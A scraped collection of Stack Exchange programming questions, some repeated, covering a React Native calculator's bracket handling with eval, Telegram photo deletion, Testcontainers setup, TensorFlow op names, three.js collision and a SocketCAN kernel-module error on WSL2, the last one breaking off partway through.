问:
Calculator in react native - How to make a bracket functionallity in it?
I am making a calculator in react native that is a type of modern calculator. It consists of current and previous operand, and it should work like this:

when I type in currentOperandView, I have fired the event onTextInput

whenever the user inputs on currentOperand, it calculates and shows it on previousOperand

when the user clicks equals, the previous operand becomes null, and the current operand becomes evaluated

I am trying to make a bracket functionality. I have two buttons, for open and close brackets.

The problem is, when I click opening bracket, and then click any digit, it evaluates the onTextInput (e.g eval( 3( ). This becomes a wrong expression for eval function, and it gives me an error as a result.

I tried that when currentOperand includes the bracket, to stop the evaluation, but I am not able to fix the error. The error is

unexpected end of string

It is a valid error, but can anyone tell me how to fix it?

Here is the code.

```<code>import { useReducer, useState } from 'react';
import Clockcircleo from 'react-native-vector-icons/AntDesign';
import Backspace from 'react-native-vector-icons/Ionicons';`

import {
  useFonts,
  Nunito_600SemiBold,
  Nunito_700Bold,
} from '@expo-google-fonts/nunito';
import {
  View,
  StyleSheet,
  FlatList,
  TouchableOpacity,
  Text,
  Button,
  Alert,
} from 'react-native';
import ButtonsData from './components/ButtonData';
import AppLoading from 'expo-app-loading';

const App = () => {
  let [fontsloaded] = useFonts({
    Nunito_600SemiBold,
    Nunito_700Bold,
  });
  const [green, setgreen] = useState(false);
  const [showOperand, setshowOperand] = useState(false);
  const operators = ['*', '/', '+', '-', '%', '(', ')'];
  function calculate(currentOperand) {
    let currentResult = currentOperand;
    if (currentResult == null && currentResult == undefined) {
      return null;
    } else {
      let lastChar = currentResult.charAt(currentResult.length - 1);
      if (operators.includes(lastChar)) {
        return null;
      } else {
        return eval(currentOperand);
      }
    }
  }
  let bracket = "*("
  const reducer = (state, { type, payload }) => {
    switch (type) {
      case 'chooseDigit':
        setgreen(false);
        setshowOperand(false);

        if (state.overwrite) {
          return {
            ...state,
            currentOperand: payload,
            overwrite: false,
          };
        }

        if(payload == "3" && state.currentOperand.includes(bracket)){
          return setshowOperand(true)
        }

        if (payload == '0' && state.currentOperand == '0') {
          return state;
        }
        if (payload == '.' && state.currentOperand.includes('.')) {
          return state;
        }
        return {
          ...state,
          currentOperand: `${state.currentOperand || ''}${payload}`,
        };
      case 'showCalculations':
        if (state.currentOperand == null && state.currentOperand == undefined) {
          return state;
        }
        if(state.currentOperand.includes("(")){
          setshowOperand(true)
        }
        return {
          ...state,
          currentOperand: state.currentOperand,
          previousOperand: state.calulated || state.bracketHere
            ? state.currentOperand
            : calculate(state.currentOperand),
          calulated:false,
        };

      case 'chooseOperation':
        if (payload == '×') {
          if (state.green) {
            return state;
          } else {
            return {
              ...state,
              currentOperand: `${state.currentOperand}*`,
            };
          }
        }

        // if (payload == '(' && payload == ')' && state.currentOperand == null) {
        //  return state
        // }

        if(payload == "(" && state.currentOperand == null){
          return {
            ...state,
            currentOperand:`${state.currentOperand || ""}${payload}`,
            calulated:true,
            bracketHere:true,
          }
        }

        if(payload == "(" && state.currentOperand % 10 !== null && !operators.includes(state.currentOperand % 10)){
          return {
            ...state,
            currentOperand:`${state.currentOperand}*${payload}`
          }
        }

        // if(payload == "(" && operators.includes(state.currentOperand % 10)){
        //   return{
        //     ...state,
        //     currentOperand:`${state.currentOperand}${payload}`
        //   }
        // }

        if (payload == '÷') {
          if (state.green) {
            return state;
          } else {
            return {
              ...state,
              currentOperand: `${state.currentOperand}/`,
            };
          }
        }
        if (state.currentoperand == null && state.previousOperand == null) {
          return state;
        }
        if (state.overwrite) {
          return {
            ...state,
            currentOperand: state.currentOperand,
          };
        }
        if (operators.includes(state.currentOperand.slice(-1))) {
          return state;
        }
        return {
          ...state,
          currentOperand: `${state.currentOperand || ''}${payload}`,
        };
      case 'backspace':
        if (state.currentOperand == null && state.previousOperand == null) {
          return state;
        }
        if (state.calulated) {
          return {
            ...state,
            currentOperand: state.currentOperand,
          };
        }
        if (state.currentOperand.length == 1) {
          return {
            ...state,
            currentOperand: null,
          };
        }
        if (state.overwrite) {
          return {
            ...state,
            overwrite: false,
            currentoperand: null,
          };
        }
        return {
          ...state,
          currentOperand: state.currentOperand.slice(0, -1),
          previousOperand: null,
        };
      case 'evaluation':
        setshowOperand(true);
        setgreen(true);
        if (state.currentOperand == null) {
          return state;
        }
        return {
          ...state,
          calulated: true,
          previousOperand: null,
          currentOperand: calculate(state.currentOperand),
          green: true,
          overwrite: true,
        };
      case 'clear':
        return {};
      default:
        return state;
    }
  };
  const [{ currentOperand, previousOperand }, dispatch] = useReducer(
    reducer,
    {}
  );
  const handleCalulations = (type, digit) => {
    dispatch({ type: type, payload: digit });
  };
  const renderButtons = ({ item }) => {
    return (
      <View style={styles.buttnContainer}>
        <TouchableOpacity
          onPress={() => handleCalulations(item.type, item.digit)}
          style={[
            styles.button,
            {
              backgroundColor: item.backgroundColor,
            },
          ]}>
          <Text
            style={[
              styles.buttonText,
              {
                color: item.color,
              },
            ]}>
            {item.digit}
            <Text>{item.operation}</Text>
          </Text>
        </TouchableOpacity>
      </View>
    );
  };
  if (!fontsloaded) {
    return <AppLoading />;
  }
  return (
    <View style={styles.container}>
      <View style={styles.screen}>
        <Text
          style={{
            color: green ? '#427e04' : 'white',
            fontSize: 50,
            fontFamily: 'Nunito_600SemiBold',
          }}
          onTextLayout={
            !showOperand
              ? () => dispatch({ type: 'showCalculations' })
              : () => console.log('')
          }>
          {currentOperand}
        </Text>
        <Text
          style={{
            color: 'grey',
            fontSize: 30,
            fontWeight: '100',
            fontFamily: 'Nunito_700Bold',
          }}>
          {previousOperand}
        </Text>
        <View
          style={{
            display: 'flex',
            flexDirection: 'row',
            width: '100%',
            justifyContent: 'space-between',
            padding: 10,
          }}>
          <View
            style={{
              display: 'flex',
              flexDirection: 'row',
              justifyContent: 'space-around',
              marginTop: 15,
              width: 150,
            }}>
            <Clockcircleo
              name="clockcircleo"
              size={25}
              color="#fff"
              style={{ fontWeight: 5 }}
            />
            <Clockcircleo
              name="calculator"
              size={25}
              color="#fff"
              style={{ fontWeight: 5 }}
            />
          </View>
          <TouchableOpacity
            onPress={() => dispatch({ type: 'backspace' })}
            style={styles.backspace}>
            <Backspace
              name="backspace-outline"
              color="#427e04"
              style={{ fontSize: 20 }}
            />
          </TouchableOpacity>
        </View>
      </View>
      <View style={{ paddingVertical: 10, paddingHorizontal: 5 }}>
        <FlatList
          numColumns={4}
          data={ButtonsData}
          key={(item) => item.digit}
          renderItem={renderButtons}
          ItemSeparatorComponent={() => (
            <View style={{ marginRight: 3, width: 5, height: 5 }}></View>
          )}
        />
      </View>
    </View>
  );
};

const styles = StyleSheet.create({
  container: {
    backgroundColor: '#010101',
    height: '100%',
  },
  screen: {
    height: '40%',
    paddingTop: 45,
    paddingBottom: 12,
    borderBottomColor: 'grey',
    borderWidth: 1,
    width: '90%',
    marginLeft: 14,
    display: 'flex',
    flexDirection: 'column',
    justifyContent: 'space-between',
    alignItems: 'flex-end',
    paddingHorizontal: 10,
  },
  buttnContainer: {
    width: 100,
    height: '240%',
  },
  button: {
    width: 80,
    borderRadius: 50,
    height: undefined,
    margin: 4,
    aspectRatio: 1,
    borderWidth: 1,
    display: 'flex',
    justifyContent: 'center',
    alignItems: 'center',
  },
  buttonText: {
    fontSize: 35,
  },
  backspace: {
    height: 40,
    width: 40,
    display: 'flex',
    justifyContent: 'center',
    alignItems: 'center',
    flexDirection: 'column',
    backgroundColor: '#8080806b',
    borderRadius: 50,
  },
});

export default App;
</code>```

Here is the data of buttons.

```<code>const ButtonsData = [
  {
    digit: 'C',
    backgroundColor: '#171717',
    color: '#e97271',
    type:"clear"
  },
  // <Icon name='backspace' color="#427e04"/>
  {
    digit: ".",
    backgroundColor: '#171717',
    color: '#427e04',
    type:"chooseDigit"
  },
  {
    digit: '%',
    backgroundColor: '#171717',
    color: '#427e04',
    type:"chooseOperation"
  },
  {
    digit: '÷',
    backgroundColor: '#171717',
    color: '#427e04',
    type:"chooseOperation"
  },
  {
    digit: "1",
    backgroundColor: '#171717',
    color: '#fff',
   type:"chooseDigit"
  },
  {
    digit: "2",
    backgroundColor: '#171717',
    color: '#fff',
     type:"chooseDigit"
  },
  {
    digit: "3",
    backgroundColor: '#171717',
    color: '#fff',
    type:"chooseDigit"
  },
  {
    digit: '×',
    backgroundColor: '#171717',
    color: '#427e04',
    type:"chooseOperation"
  },
  {
    digit: "4",
    backgroundColor: '#171717',
    color: '#fff',
     type:"chooseDigit"
  },
  {
    digit: "5",
    backgroundColor: '#171717',
    color: '#fff',
     type:"chooseDigit"
  },
  {
    digit: "6",
    backgroundColor: '#171717',
    color: '#fff',
     type:"chooseDigit"
  },
  {
    digit: '-',
    backgroundColor: '#171717',
    color: '#427e04',
     type:"chooseOperation"
  },
  {
    digit: "7",
    backgroundColor: '#171717',
    color: '#fff',
     type:"chooseDigit"
  },
  {
    digit: "8",
    backgroundColor: '#171717',
    color: '#fff',
     type:"chooseDigit"
  },
  {
    digit: "9",
    backgroundColor: '#171717',
    color: '#fff',
     type:"chooseDigit"
  },
  {
    digit: '+',
    backgroundColor: '#171717',
    color: '#427e04',
     type:"chooseOperation"
  },
  {
    digit: '(',
    backgroundColor: '#171717',
    color: '#fff',
    type:"chooseOperation"
  },
     {
    digit: ")",
    backgroundColor: '#171717',
    color: '#fff',
     type:"chooseOperation"
    },
    {
    digit: '0',
    backgroundColor: '#171717',
    color: '#fff',
     type:"chooseDigit"
    },
   {
    digit: '=',
    backgroundColor: '#427e04',
    color: '#fff',
     type:"evaluation"
    },
];
`

export default ButtonsData;
</code>```

I tried to stop the evaluation function when clicking the bracket, but I am not able to do it.

Body:
I am making a calculator in react native that is a type of modern calculator. It consists of current and previous operand, and it should work like this:

when I type in currentOperandView, I have fired the event onTextInput

whenever the user inputs on currentOperand, it calculates and shows it on previousOperand

when the user clicks equals, the previous operand becomes null, and the current operand becomes evaluated

I am trying to make a bracket functionality. I have two buttons, for open and close brackets.

The problem is, when I click opening bracket, and then click any digit, it evaluates the onTextInput (e.g eval( 3( ). This becomes a wrong expression for eval function, and it gives me an error as a result.

I tried that when currentOperand includes the bracket, to stop the evaluation, but I am not able to fix the error. The error is

unexpected end of string

It is a valid error, but can anyone tell me how to fix it?

Here is the code.

import { useReducer, useState } from 'react';
import Clockcircleo from 'react-native-vector-icons/AntDesign';
import Backspace from 'react-native-vector-icons/Ionicons';`

import {
  useFonts,
  Nunito_600SemiBold,
  Nunito_700Bold,
} from '@expo-google-fonts/nunito';
import {
  View,
  StyleSheet,
  FlatList,
  TouchableOpacity,
  Text,
  Button,
  Alert,
} from 'react-native';
import ButtonsData from './components/ButtonData';
import AppLoading from 'expo-app-loading';

const App = () => {
  let [fontsloaded] = useFonts({
    Nunito_600SemiBold,
    Nunito_700Bold,
  });
  const [green, setgreen] = useState(false);
  const [showOperand, setshowOperand] = useState(false);
  const operators = ['*', '/', '+', '-', '%', '(', ')'];
  function calculate(currentOperand) {
    let currentResult = currentOperand;
    if (currentResult == null && currentResult == undefined) {
      return null;
    } else {
      let lastChar = currentResult.charAt(currentResult.length - 1);
      if (operators.includes(lastChar)) {
        return null;
      } else {
        return eval(currentOperand);
      }
    }
  }
  let bracket = "*("
  const reducer = (state, { type, payload }) => {
    switch (type) {
      case 'chooseDigit':
        setgreen(false);
        setshowOperand(false);

        if (state.overwrite) {
          return {
            ...state,
            currentOperand: payload,
            overwrite: false,
          };
        }

        if(payload == "3" && state.currentOperand.includes(bracket)){
          return setshowOperand(true)
        }

        if (payload == '0' && state.currentOperand == '0') {
          return state;
        }
        if (payload == '.' && state.currentOperand.includes('.')) {
          return state;
        }
        return {
          ...state,
          currentOperand: `${state.currentOperand || ''}${payload}`,
        };
      case 'showCalculations':
        if (state.currentOperand == null && state.currentOperand == undefined) {
          return state;
        }
        if(state.currentOperand.includes("(")){
          setshowOperand(true)
        }
        return {
          ...state,
          currentOperand: state.currentOperand,
          previousOperand: state.calulated || state.bracketHere
            ? state.currentOperand
            : calculate(state.currentOperand),
          calulated:false,
        };

      case 'chooseOperation':
        if (payload == '×') {
          if (state.green) {
            return state;
          } else {
            return {
              ...state,
              currentOperand: `${state.currentOperand}*`,
            };
          }
        }

        // if (payload == '(' && payload == ')' && state.currentOperand == null) {
        //  return state
        // }

        if(payload == "(" && state.currentOperand == null){
          return {
            ...state,
            currentOperand:`${state.currentOperand || ""}${payload}`,
            calulated:true,
            bracketHere:true,
          }
        }

        if(payload == "(" && state.currentOperand % 10 !== null && !operators.includes(state.currentOperand % 10)){
          return {
            ...state,
            currentOperand:`${state.currentOperand}*${payload}`
          }
        }

        // if(payload == "(" && operators.includes(state.currentOperand % 10)){
        //   return{
        //     ...state,
        //     currentOperand:`${state.currentOperand}${payload}`
        //   }
        // }

        if (payload == '÷') {
          if (state.green) {
            return state;
          } else {
            return {
              ...state,
              currentOperand: `${state.currentOperand}/`,
            };
          }
        }
        if (state.currentoperand == null && state.previousOperand == null) {
          return state;
        }
        if (state.overwrite) {
          return {
            ...state,
            currentOperand: state.currentOperand,
          };
        }
        if (operators.includes(state.currentOperand.slice(-1))) {
          return state;
        }
        return {
          ...state,
          currentOperand: `${state.currentOperand || ''}${payload}`,
        };
      case 'backspace':
        if (state.currentOperand == null && state.previousOperand == null) {
          return state;
        }
        if (state.calulated) {
          return {
            ...state,
            currentOperand: state.currentOperand,
          };
        }
        if (state.currentOperand.length == 1) {
          return {
            ...state,
            currentOperand: null,
          };
        }
        if (state.overwrite) {
          return {
            ...state,
            overwrite: false,
            currentoperand: null,
          };
        }
        return {
          ...state,
          currentOperand: state.currentOperand.slice(0, -1),
          previousOperand: null,
        };
      case 'evaluation':
        setshowOperand(true);
        setgreen(true);
        if (state.currentOperand == null) {
          return state;
        }
        return {
          ...state,
          calulated: true,
          previousOperand: null,
          currentOperand: calculate(state.currentOperand),
          green: true,
          overwrite: true,
        };
      case 'clear':
        return {};
      default:
        return state;
    }
  };
  const [{ currentOperand, previousOperand }, dispatch] = useReducer(
    reducer,
    {}
  );
  const handleCalulations = (type, digit) => {
    dispatch({ type: type, payload: digit });
  };
  const renderButtons = ({ item }) => {
    return (
      <View style={styles.buttnContainer}>
        <TouchableOpacity
          onPress={() => handleCalulations(item.type, item.digit)}
          style={[
            styles.button,
            {
              backgroundColor: item.backgroundColor,
            },
          ]}>
          <Text
            style={[
              styles.buttonText,
              {
                color: item.color,
              },
            ]}>
            {item.digit}
            <Text>{item.operation}</Text>
          </Text>
        </TouchableOpacity>
      </View>
    );
  };
  if (!fontsloaded) {
    return <AppLoading />;
  }
  return (
    <View style={styles.container}>
      <View style={styles.screen}>
        <Text
          style={{
            color: green ? '#427e04' : 'white',
            fontSize: 50,
            fontFamily: 'Nunito_600SemiBold',
          }}
          onTextLayout={
            !showOperand
              ? () => dispatch({ type: 'showCalculations' })
              : () => console.log('')
          }>
          {currentOperand}
        </Text>
        <Text
          style={{
            color: 'grey',
            fontSize: 30,
            fontWeight: '100',
            fontFamily: 'Nunito_700Bold',
          }}>
          {previousOperand}
        </Text>
        <View
          style={{
            display: 'flex',
            flexDirection: 'row',
            width: '100%',
            justifyContent: 'space-between',
            padding: 10,
          }}>
          <View
            style={{
              display: 'flex',
              flexDirection: 'row',
              justifyContent: 'space-around',
              marginTop: 15,
              width: 150,
            }}>
            <Clockcircleo
              name="clockcircleo"
              size={25}
              color="#fff"
              style={{ fontWeight: 5 }}
            />
            <Clockcircleo
              name="calculator"
              size={25}
              color="#fff"
              style={{ fontWeight: 5 }}
            />
          </View>
          <TouchableOpacity
            onPress={() => dispatch({ type: 'backspace' })}
            style={styles.backspace}>
            <Backspace
              name="backspace-outline"
              color="#427e04"
              style={{ fontSize: 20 }}
            />
          </TouchableOpacity>
        </View>
      </View>
      <View style={{ paddingVertical: 10, paddingHorizontal: 5 }}>
        <FlatList
          numColumns={4}
          data={ButtonsData}
          key={(item) => item.digit}
          renderItem={renderButtons}
          ItemSeparatorComponent={() => (
            <View style={{ marginRight: 3, width: 5, height: 5 }}></View>
          )}
        />
      </View>
    </View>
  );
};

const styles = StyleSheet.create({
  container: {
    backgroundColor: '#010101',
    height: '100%',
  },
  screen: {
    height: '40%',
    paddingTop: 45,
    paddingBottom: 12,
    borderBottomColor: 'grey',
    borderWidth: 1,
    width: '90%',
    marginLeft: 14,
    display: 'flex',
    flexDirection: 'column',
    justifyContent: 'space-between',
    alignItems: 'flex-end',
    paddingHorizontal: 10,
  },
  buttnContainer: {
    width: 100,
    height: '240%',
  },
  button: {
    width: 80,
    borderRadius: 50,
    height: undefined,
    margin: 4,
    aspectRatio: 1,
    borderWidth: 1,
    display: 'flex',
    justifyContent: 'center',
    alignItems: 'center',
  },
  buttonText: {
    fontSize: 35,
  },
  backspace: {
    height: 40,
    width: 40,
    display: 'flex',
    justifyContent: 'center',
    alignItems: 'center',
    flexDirection: 'column',
    backgroundColor: '#8080806b',
    borderRadius: 50,
  },
});

export default App;

Here is the data of buttons.

const ButtonsData = [
  {
    digit: 'C',
    backgroundColor: '#171717',
    color: '#e97271',
    type:"clear"
  },
  // <Icon name='backspace' color="#427e04"/>
  {
    digit: ".",
    backgroundColor: '#171717',
    color: '#427e04',
    type:"chooseDigit"
  },
  {
    digit: '%',
    backgroundColor: '#171717',
    color: '#427e04',
    type:"chooseOperation"
  },
  {
    digit: '÷',
    backgroundColor: '#171717',
    color: '#427e04',
    type:"chooseOperation"
  },
  {
    digit: "1",
    backgroundColor: '#171717',
    color: '#fff',
   type:"chooseDigit"
  },
  {
    digit: "2",
    backgroundColor: '#171717',
    color: '#fff',
     type:"chooseDigit"
  },
  {
    digit: "3",
    backgroundColor: '#171717',
    color: '#fff',
    type:"chooseDigit"
  },
  {
    digit: '×',
    backgroundColor: '#171717',
    color: '#427e04',
    type:"chooseOperation"
  },
  {
    digit: "4",
    backgroundColor: '#171717',
    color: '#fff',
     type:"chooseDigit"
  },
  {
    digit: "5",
    backgroundColor: '#171717',
    color: '#fff',
     type:"chooseDigit"
  },
  {
    digit: "6",
    backgroundColor: '#171717',
    color: '#fff',
     type:"chooseDigit"
  },
  {
    digit: '-',
    backgroundColor: '#171717',
    color: '#427e04',
     type:"chooseOperation"
  },
  {
    digit: "7",
    backgroundColor: '#171717',
    color: '#fff',
     type:"chooseDigit"
  },
  {
    digit: "8",
    backgroundColor: '#171717',
    color: '#fff',
     type:"chooseDigit"
  },
  {
    digit: "9",
    backgroundColor: '#171717',
    color: '#fff',
     type:"chooseDigit"
  },
  {
    digit: '+',
    backgroundColor: '#171717',
    color: '#427e04',
     type:"chooseOperation"
  },
  {
    digit: '(',
    backgroundColor: '#171717',
    color: '#fff',
    type:"chooseOperation"
  },
     {
    digit: ")",
    backgroundColor: '#171717',
    color: '#fff',
     type:"chooseOperation"
    },
    {
    digit: '0',
    backgroundColor: '#171717',
    color: '#fff',
     type:"chooseDigit"
    },
   {
    digit: '=',
    backgroundColor: '#427e04',
    color: '#fff',
     type:"evaluation"
    },
];
`

export default ButtonsData;

I tried to stop the evaluation function when clicking the bracket, but I am not able to do it.


来源: stackexchange

问:
How to permanently delete photos [with photo name] from telegram using API in ASP.NET C#?
I am looking to delete a photo (test.png) permanently from telegram, sent by my bot using telegram API and I'm able to deleting the photo (message) using deleteMessage so if I use the same photo with the same name (photo ex: test.png) and modifying that photo and re-sending to telegram channel using API, photo is sending but it is not going as I modified photo it is going like initially sent photo (because the photo name{test.png} is already saved in telegram) so is it possible to delete a photo with the name also from telegram using API ?

Please suggest a way to achieve this.

ContentLicense: CC BY-SA 4.0


问:
Testcontainers: turn on/off multiple containers in abstract class. (Combination of containers in tests)
I would like to ask if there is a way, how to design an abstract class with testcontainers for integration tests with a combination of multiple testcontainers.
I would like to have one class with definitions of all containers needed for the application and turn them on/off based on the needs of the integration test.
Example:
Application needs:

database

smtp

rabbitMQ

....

Is there a way for setting up an abstract class for all these containers and turn on only the needed combination for the current integration test? All tests don't need to run SMTP or the same needs database and rabbit,....
Set up abstract class ancestor for container setup is suggested by Testcontainers but there is no way how to manage which containers will be started from descendants.

Since it is called from static method I can't find a way how to manage it:

```<code>@BeforeAll
public static void startContainers() {
    if (runKeycloak()) {
        keycloak.start();
    }
    if (runPostgres()) {
        postgreSQLContainer.start();
    }
}
</code>```

Did I miss something basic?

Because it is static it can't be managed with spring properties, I can't override class attribute or anything similar.

Body:
I would like to ask if there is a way, how to design an abstract class with testcontainers for integration tests with a combination of multiple testcontainers.
I would like to have one class with definitions of all containers needed for the application and turn them on/off based on the needs of the integration test.
Example:
Application needs:

database

smtp

rabbitMQ

....

Is there a way for setting up an abstract class for all these containers and turn on only the needed combination for the current integration test? All tests don't need to run SMTP or the same needs database and rabbit,....
Set up abstract class ancestor for container setup is suggested by Testcontainers but there is no way how to manage which containers will be started from descendants.

Since it is called from static method I can't find a way how to manage it:

@BeforeAll
public static void startContainers() {
    if (runKeycloak()) {
        keycloak.start();
    }
    if (runPostgres()) {
        postgreSQLContainer.start();
    }
}

Did I miss something basic?

Because it is static it can't be managed with spring properties, I can't override class attribute or anything similar.


问:
Is there any way to rename relu to relu_love?
I want to rename the operation layer at a deeper level, not the sequential model layer.

For example concatV2, AvgPool, AddN, Sub, MaxPool, relu, reluGrad, etc.

I want to change the names of these operations. I couldn't find anything related to it no matter how much I searched...


问:
block player from walking through objects (FirstPersonControls)
I followed a tutorial by SimonDev and got a basic scene working with some lighting, and cubes in the center. I implemented pointer lock controls. If you want a link to my github repository https://github.com/qaiik/FirstPersonPointerLock.

Now I need a way to stop the player from walking through the cube in the center. The cube must not move.

I preferably want to use cannon.js, and stick to three.js. Thanks. It would be great if you could try to fine tune how to do it to my example.

I have searched the cannonjs docs, and I spent hours trying to resolve it.

I'm trying to make a maze-like game, and can't have the player walking through walls.


问:
modprobe: ERROR: could not insert 'can': Invalid argument (In 5.10.102.1 WSL2)
I'm setting up the socket can because I want to test it, but the same message comes out as the title.
modprobe: ERROR: could not insert 'can': Invalid argument
and dmesg display like blow.

```<code>[ 1297.682601] can: disagrees about version of symbol dev_queue_xmit
[ 1297.682603] can: Unknown symbol dev_queue_xmit (err -22)
[ 1297.682605] can: disagrees about version of symbol consume_skb
[ 1297.682606] can: Unknown symbol consume_skb (err -22)
[ 1297.682609] can: disagrees about version of symbol dev_add_pack
[ 1297.682610] can: Unknown symbol dev_add_pack (err -22)
[ 1297.682623] can: disagrees about version of symbol register_pernet_subsys
[ 1297.682624] can: Unknown symbol register_pernet_subsys (err -22)
[ 1297.682627] can: disagrees about version of symbol proto_unregister
[ 1297.682628] can: Unknown symbol proto_unregister (err -22)
[ 1297.682630] can: disagrees about version of symbol kfree_skb
[ 1297.682631] can: Unknown symbol kfree_skb (err -22)
[ 1297.682633] can: disagrees about version of symbol sock_register
[ 1297.682634] can: Unknown symbol sock_register (err -22)
[ 1297.682638] can: disagrees about version of symbol proto_register
[ 1297.682639] can: Unknown symbol proto_register (err -22)
[ 1297.682644] can: disagrees about version of symbol dev_remove_pack
[ 1297.682645] can: Unknown symbol dev_remove_pack (err -22)
[ 1297.682646] can: disagrees about version of symbol sk_free
[ 1297.682647] can: Unknown symbol sk_free (err -22)
[ 1297.682652] can: disagrees about version of symbol sk_alloc
[ 1297.682653] can: Unknown symbol sk_alloc (err -22)
[ 1297.682655] can: disagrees about version of symbol unregister_pernet_subsys
[ 1297.682656] can: Unknown symbol unregister_pernet_subsys (err -22)
[ 1297.682658] can: disagrees about version of symbol netif_rx_ni
[ 1297.682659] can: Unknown symbol netif_rx_ni (err -22)
[ 1297.682660] can: disagrees about version of symbol sock_efree
[ 1297.682661] can: Unknown symbol sock_efree (err -22)
[ 1297.682662] can: disagrees about version of symbol skb_queue_purge
[ 1297.682663] can: Unknown symbol skb_queue_purge (err -22)
[ 1297.682674] can: disagrees about version of symbol proc_create_net_single
[ 1297.682675] can: Unknown symbol proc_create_net_single (err -22)
[ 1297.682676] can: disagrees about version of symbol skb_clone
[ 1297.682677] can: Unknown symbol skb_clone (err -22)
[ 1297.682684] can: disagrees about version of symbol sock_init_data
[ 1297.682685] can: Unknown symbol sock_init_data (err -22)
</code>```

I don't know how fix it. please help me.

I used blow codes to setting socketCan in WSL2 version 5.10.102.1

```<code>cd ~ // in linux directory
wget https://github.com/microsoft/WSL2-Linux-Kernel/archive/refs/tags/linux-msft-wsl-5.10.102.1.tar.gz
tar -xf linux-msft-wsl-5.xx.xx.x.tar.gz # tar -xf linux-msft-wsl-5.10.102.1.tar.gz
cd WSL2-Linux-Kernel-linux-msft-wsl-5.xx.xx.x/ # cd WSL2-Linux-Kernel-linux-msft-wsl-5.10.102.1/
cat /proc/config.gz | gunzip > .config
</code>```

blow codes maybe the order is wrong, but I tried it twice so all module files installed

```<code>make prepare modules_prepare -j $(expr $(nproc) - 1)
gedit ./Microsoft/config-wsl // gedit is editting program
</code>```

In wsl-config copy and pasted blow code.

```<code># config-wsl
CONFIG_CC_CAN_LINK=y
CONFIG_CC_CAN_LINK_STATIC=y

# CONFIG_HAMRADIO is not set
CONFIG_CAN=m
CONFIG_CAN_RAW=m
CONFIG_CAN_BCM=m
CONFIG_CAN_GW=m
CONFIG_CAN_J1939=m
CONFIG_CAN_ISOTP=m

# CAN Device Drivers
CONFIG_CAN_VCAN=m
CONFIG_CAN_VXCAN=m
CONFIG_CAN_SLCAN=m
CONFIG_CAN_DEV=m
CONFIG_CAN_CALC_BITTIMING=y
CONFIG_CAN_KVASER_PCIEFD=m
CONFIG_CAN_C_CAN=m
# CONFIG_CAN_C_CAN_PLATFORM is not set
    # CONFIG_CAN_C_CAN_PCI is not set
CONFIG_CAN_CC770=m
# CONFIG_CAN_CC770_ISA is not set
# CONFIG_CAN_CC770_PLATFORM is not set
CONFIG_CAN_IFI_CANFD=m
CONFIG_CAN_M_CAN=m
# CONFIG_CAN_M_CAN_PCI is not set
# CONFIG_CAN_M_CAN_PLATFORM is not set
CONFIG_CAN_PEAK_PCIEFD=m
CONFIG_CAN_SJA1000=m
# CONFIG_CAN_EMS_PCI is not set
# CONFIG_CAN_EMS_PCMCIA is not set
# CONFIG_CAN_F81601 is not set
# CONFIG_CAN_KVASER_PCI is not set
# CONFIG_CAN_PEAK_PCI is not set
# CONFIG_CAN_PEAK_PCMCIA is not set
# CONFIG_CAN_PLX_PCI is not set
# CONFIG_CAN_SJA1000_ISA is not set
# CONFIG_CAN_SJA1000_PLATFORM is not set
CONFIG_CAN_SOFTING=m
CONFIG_CAN_SOFTING_CS=m

# CAN USB interfaces
CONFIG_CAN_8DEV_USB=m
CONFIG_CAN_EMS_USB=m
CONFIG_CAN_ESD_USB2=m
CONFIG_CAN_ETAS_ES58X=m
CONFIG_CAN_GS_USB=m
CONFIG_CAN_KVASER_USB=m
CONFIG_CAN_MCBA_USB=m
CONFIG_CAN_PEAK_USB=m
CONFIG_CAN_UCAN=m
# end of CAN USB interfaces

CONFIG_CAN_DEBUG_DEVICES=y
# end of CAN Device Drivers

</code>```
```<code>make modules -j $(expr $(nproc) - 1)
make modules_install
cp arch/x86/boot/bzImage /mnt/c/Users/<username>/
sudo modprobe can
</code>```

and then error message come out....

Body:
I'm setting up the socket can because I want to test it, but the same message comes out as the title.
modprobe: ERROR: could not insert 'can': Invalid argument
and dmesg display like blow.

[ 1297.682601] can: disagrees about version of symbol dev_queue_xmit
[ 1297.682603] can: Unknown symbol dev_queue_xmit (err -22)
[ 1297.682605] can: disagrees about version of symbol consume_skb
[ 1297.682606] can: Unknown symbol consume_skb (err -22)
[ 1297.682609] can: disagrees about version of symbol dev_add_pack
[ 1297.682610] can: Unknown symbol dev_add_pack (err -22)
[ 1297.682623] can: disagrees about version of symbol register_pernet_subsys
[ 1297.682624] can: Unknown symbol register_pernet_subsys (err -22)
[ 1297.682627] can: disagrees about version of symbol proto_unregister
[ 1297.682628] can: Unknown symbol proto_unregister (err -22)
[ 1297.682630] can: disagrees about version of symbol kfree_skb
[ 1297.682631] can: Unknown symbol kfree_skb (err -22)
[ 1297.682633] can: disagrees about version of symbol sock_register
[ 1297.682634] can: Unknown symbol sock_register (err -22)
[ 1297.682638] can: disagrees about version of symbol proto_register
[ 1297.682639] can: Unknown symbol proto_register (err -22)
[ 1297.682644] can: disagrees about version of symbol dev_remove_pack
[ 1297.682645] can: Unknown symbol dev_remove_pack (err -22)
[ 1297.682646] can: disagrees about version of symbol sk_free
[ 1297.682647] can: Unknown symbol sk_free (err -22)
[ 1297.682652] can: disagrees about version of symbol sk_alloc
[ 1297.682653] can: Unknown symbol sk_alloc (err -22)
[ 1297.682655] can: disagrees about version of symbol unregister_pernet_subsys
[ 1297.682656] can: Unknown symbol unregister_pernet_subsys (err -22)
[ 1297.682658] can: disagrees about version of symbol netif_rx_ni
[ 1297.682659] can: Unknown symbol netif_rx_ni (err -22)
[ 1297.682660] can: disagrees about version of symbol sock_efree
[ 1297.682661] can: Unknown symbol sock_efree (err -22)
[ 1297.682662] can: disagrees about version of symbol skb_queue_purge
[ 1297.682663] can: Unknown symbol skb_queue_purge (err -22)
[ 1297.682674] can: disagrees about version of symbol proc_create_net_single
[ 1297.682675] can: Unknown symbol proc_create_net_single (err -22)
[ 1297.682676] can: disagrees about version of symbol skb_clone
[ 1297.682677] can: Unknown symbol skb_clone (err -22)
[ 1297.682684] can: disagrees about version of symbol sock_init_data
[ 1297.682685] can: Unknown symbol sock_init_data (err -22)

I don't know how fix it. please help me.

I used blow codes to setting socketCan in WSL2 version 5.10.102.1

cd ~ // in linux directory
wget https://github.com/microsoft/WSL2-Linux-Kernel/archive/refs/tags/linux-msft-wsl-5.10.102.1.tar.gz
tar -xf linux-msft-wsl-5.xx.xx.x.tar.gz # tar -xf linux-msft-wsl-5.10.102.1.tar.gz
cd WSL2-Linux-Kernel-linux-msft-wsl-5.xx.xx.x/ # cd WSL2-Linux-Kernel-linux-msft-wsl-5.10.102.1/
